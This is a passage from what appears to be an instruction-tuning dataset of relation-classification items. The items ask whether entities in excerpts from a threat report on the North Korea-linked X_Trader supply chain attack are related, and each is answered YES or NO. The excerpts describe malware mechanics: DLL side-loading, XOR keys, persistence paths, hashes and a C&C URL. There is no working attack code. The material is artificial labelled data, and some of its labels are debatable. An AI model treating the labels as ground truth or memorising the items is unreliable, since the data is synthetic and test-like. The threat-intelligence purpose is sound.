second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nVeiledsignal\n### Target Entity: C&C\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nVeiledsignal\n### Target Entity: Chrome\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nVeiledsignal\n### Target Entity: Edge\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nVeiledsignal\n### Target Entity: Firefox\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nwww.tradingtechnologies.com\n### Target Entity: Firefox\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nX_Trader\n### Target Entity: North Korea\n### Text Passage:\nNorth Korean-linked operation affected more organizations beyond 3CX, including two critical infrastructure organizations in the energy sector.\nThe X_Trader software supply chain attack affected more organizations than 3CX. Initial investigation by Symantec\u2019s Threat Hunter Team has, to date, found that among the victims are two critical infrastructure organizations in the energy sector, one in the U.S. and the other in Europe. In addition to this, two other organizations involved in financial trading were also breached.\nAs reported yesterday by Mandiant, Trojanized X_Trader software was the cause of the 3CX breach, which was uncovered last month. As a result of this breach, 3CX\u2019s software was compromised, with many customers inadvertently downloading malicious versions of the company\u2019s voice and video calling software DesktopApp. In addition to wider victims, Symantec has also discovered additional indicators of compromise, listed below.\nIt appears likely that the X_Trader supply chain attack is financially motivated, since Trading Technologies, the developer of X_Trader, facilitates futures trading, including energy futures. Nevertheless, the compromise of critical infrastructure targets is a source of concern. North Korean-sponsored actors are known to engage in both espionage and financially motivated attacks and it cannot be ruled out that strategically important organizations breached during a financial campaign are targeted for further exploitation.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nX_Trader\n### Target Entity: U.S.\n### Text Passage:\nNorth Korean-linked operation affected more organizations beyond 3CX, including two critical infrastructure organizations in the energy sector.\nThe X_Trader software supply chain attack affected more organizations than 3CX. Initial investigation by Symantec\u2019s Threat Hunter Team has, to date, found that among the victims are two critical infrastructure organizations in the energy sector, one in the U.S. and the other in Europe. In addition to this, two other organizations involved in financial trading were also breached.\nAs reported yesterday by Mandiant, Trojanized X_Trader software was the cause of the 3CX breach, which was uncovered last month. As a result of this breach, 3CX\u2019s software was compromised, with many customers inadvertently downloading malicious versions of the company\u2019s voice and video calling software DesktopApp. In addition to wider victims, Symantec has also discovered additional indicators of compromise, listed below.\nIt appears likely that the X_Trader supply chain attack is financially motivated, since Trading Technologies, the developer of X_Trader, facilitates futures trading, including energy futures. Nevertheless, the compromise of critical infrastructure targets is a source of concern. North Korean-sponsored actors are known to engage in both espionage and financially motivated attacks and it cannot be ruled out that strategically important organizations breached during a financial campaign are targeted for further exploitation.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nX_Trader\n### Target Entity: Europe\n### Text Passage:\nNorth Korean-linked operation affected more organizations beyond 3CX, including two critical infrastructure organizations in the energy sector.\nThe X_Trader software supply chain attack affected more organizations than 3CX. Initial investigation by Symantec\u2019s Threat Hunter Team has, to date, found that among the victims are two critical infrastructure organizations in the energy sector, one in the U.S. and the other in Europe. In addition to this, two other organizations involved in financial trading were also breached.\nAs reported yesterday by Mandiant, Trojanized X_Trader software was the cause of the 3CX breach, which was uncovered last month. As a result of this breach, 3CX\u2019s software was compromised, with many customers inadvertently downloading malicious versions of the company\u2019s voice and video calling software DesktopApp. In addition to wider victims, Symantec has also discovered additional indicators of compromise, listed below.\nIt appears likely that the X_Trader supply chain attack is financially motivated, since Trading Technologies, the developer of X_Trader, facilitates futures trading, including energy futures. Nevertheless, the compromise of critical infrastructure targets is a source of concern. North Korean-sponsored actors are known to engage in both espionage and financially motivated attacks and it cannot be ruled out that strategically important organizations breached during a financial campaign are targeted for further exploitation.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSymantec\n### Target Entity: North Korea\n### Text Passage:\nNorth Korean-linked operation affected more organizations beyond 3CX, including two critical infrastructure organizations in the energy sector.\nThe X_Trader software supply chain attack affected more organizations than 3CX. Initial investigation by Symantec\u2019s Threat Hunter Team has, to date, found that among the victims are two critical infrastructure organizations in the energy sector, one in the U.S. and the other in Europe. In addition to this, two other organizations involved in financial trading were also breached.\nAs reported yesterday by Mandiant, Trojanized X_Trader software was the cause of the 3CX breach, which was uncovered last month. As a result of this breach, 3CX\u2019s software was compromised, with many customers inadvertently downloading malicious versions of the company\u2019s voice and video calling software DesktopApp. In addition to wider victims, Symantec has also discovered additional indicators of compromise, listed below.\nIt appears likely that the X_Trader supply chain attack is financially motivated, since Trading Technologies, the developer of X_Trader, facilitates futures trading, including energy futures. Nevertheless, the compromise of critical infrastructure targets is a source of concern. North Korean-sponsored actors are known to engage in both espionage and financially motivated attacks and it cannot be ruled out that strategically important organizations breached during a financial campaign are targeted for further exploitation.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nX_Trader\n### Target Entity: U.S.\n### Text Passage:\nX_Trader Supply Chain Attack Affects Critical Infrastructure Organizations in U.S. and Europe\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nX_Trader\n### Target Entity: Europe\n### Text Passage:\nX_Trader Supply Chain Attack Affects Critical Infrastructure Organizations in U.S. and Europe\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nX_TRADER_r7.17.90p608.exe\n### Target Entity: Trojanized installer\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nwinscard.dll\n### Target Entity: X_Trader\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nmsvcr100.dll\n### Target Entity: X_Trader\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6\n### Target Entity: Trojanized installer\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43\n### Target Entity: Trojanized installer\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nX_TRADER-ja.mst\n### Target Entity: Trojanized installer\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSetup.exe\n### Target Entity: Trojanized installer\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nX_Trader\n### Target Entity: Trojanized installer\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting 